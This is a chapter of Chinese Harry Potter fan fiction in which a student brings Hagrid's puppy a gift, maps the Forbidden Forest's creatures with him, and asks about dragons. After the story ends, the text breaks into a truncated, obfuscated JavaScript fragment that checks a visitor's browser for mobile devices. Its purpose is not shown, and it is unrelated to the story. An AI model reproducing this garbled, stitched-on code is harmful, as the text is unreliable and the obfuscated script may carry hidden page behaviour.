海格把炉子上烧着的水壶端起来，在一个巨大的茶杯里给她沏了茶。卡莉娜婉拒了岩皮饼（“不，不，海格先生，我刚刚在礼堂吃完早饭……”），端起茶杯轻轻地喝了一口。
“其实也不是什么贵重的礼物，”卡莉娜不好意思地在凳子上动了动，看了看在海格怀里动来动去的一只黑色小狗，“我听说您新养了一条小狗，于是给它买了一根磨牙棒——”
“梅林啊，牙牙一定会喜欢的，是不是，牙牙？”海格接过在他手里显得有些小巧的磨牙棒，胡子因为笑容动了动，“卡莉娜，你是一个好心的孩子……直接叫我海格吧——你的称呼叫我听着怪不习惯的。而且把你弟弟从禁林里揪出来是我的工作……不过要我看，他还是想要往林子里钻——我把他抓出来的时候他还怪愤愤不平的。”
“是这样，”卡莉娜假装苦恼地说，“我昨天晚上碰到他关禁闭来着——但他还是一副愤愤不平的样子，于是我就想来问问，林子里都有什么，好让我吓唬吓唬他——”
“噢，这我可再清楚不过了，”海格捻了捻胡子，“想要叫那个小家伙知难而退，是吧？我想想……有一群狼住在禁林里，我想深处有一部分是它们的地盘……还有几头巨怪，我可没办法和那帮没什么脑子的家伙们沟通……马人，占据了禁林西南边的一块地盘，智慧，但对人类不太友好……独角兽们，它们可不太喜欢男孩儿——你是在画地图吗？”
“是的，”卡莉娜说，“这样更直观，而且很好玩儿……而且如果有地图的话，巡视禁林应该会更容易吧，海格？”
“我怎么都没想到！”海格高兴地说，牙牙从他的怀抱里挣脱出来，正绕着卡莉娜转圈，“让我看看……这里的边缘好像不是这样的……”
他们俩花了点时间做了一张不太精致的禁林地图，把所有在里面生活的生物们标了出来。
“暂时没办法做得更仔细了，”卡莉娜有些可惜地说，“你瞧，比例尺可能都是错误的。”
“这样就很好了，”海格喜滋滋地端详着手里的地图，“这帮家伙们在上面一览无余了……”
“而且也更容易抓住那帮捣蛋鬼了。”卡莉娜又喝了一口杯子里的茶水，“噢，海格，我还有一件事，我从凯特尔伯恩教授那里听说你对火龙很了解……”
“凯特尔伯恩教授提到了我？”海格受宠若惊地说，“教授竟然推荐你来问我吗？”
“当然！”卡莉娜说，“教授对你非常认可——而且他要带那么多学生的班级，我也不好意思拉住他不断地问一些和课程无关的问题……学校里还有一个神奇生物专家，我太惊喜了……”
“别的教授一直说你是个好学的孩子……”海格说，“所以你想要知道些什么呢？”
“是这样的，”卡莉娜拿出她和吕西安的碰碰车设计稿纸，指给海格看，“我和博蒙-多雷教授想要设计这些小车的不同外观，或者是让它们能变形成不同的动物——还有什么能比火龙是更好的选择呢？它们种类众多，而且分布在世界的不同区域，有不同的习性……最重要的是，这会看起来非常酷——但我们对火龙和它们的栖息地、生活习性不是那么了解……”
“我也没有真的养过龙……”海格挠了挠自己的满头乱发，“只知道一些最浅显的知识……”
“这就很好了！”卡莉娜兴高采烈地说，“我们从匈牙利树蜂开始吧……不过我得去上课了，只能记一点……”
卡莉娜带着几页笔记飞速地跑向保护神奇生物的课外场地，海格在门口与她挥手作别，并承诺会告诉她更多（“我也可以去图书馆查点资料……”），邀请她之后再来（“可没有那么多小巫师愿意来拜访我……”）。
她匆匆忙忙地点点头，感到雷古勒斯的变形小车还是很有指望的。
西里斯的禁林行动就自求多福吧。
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if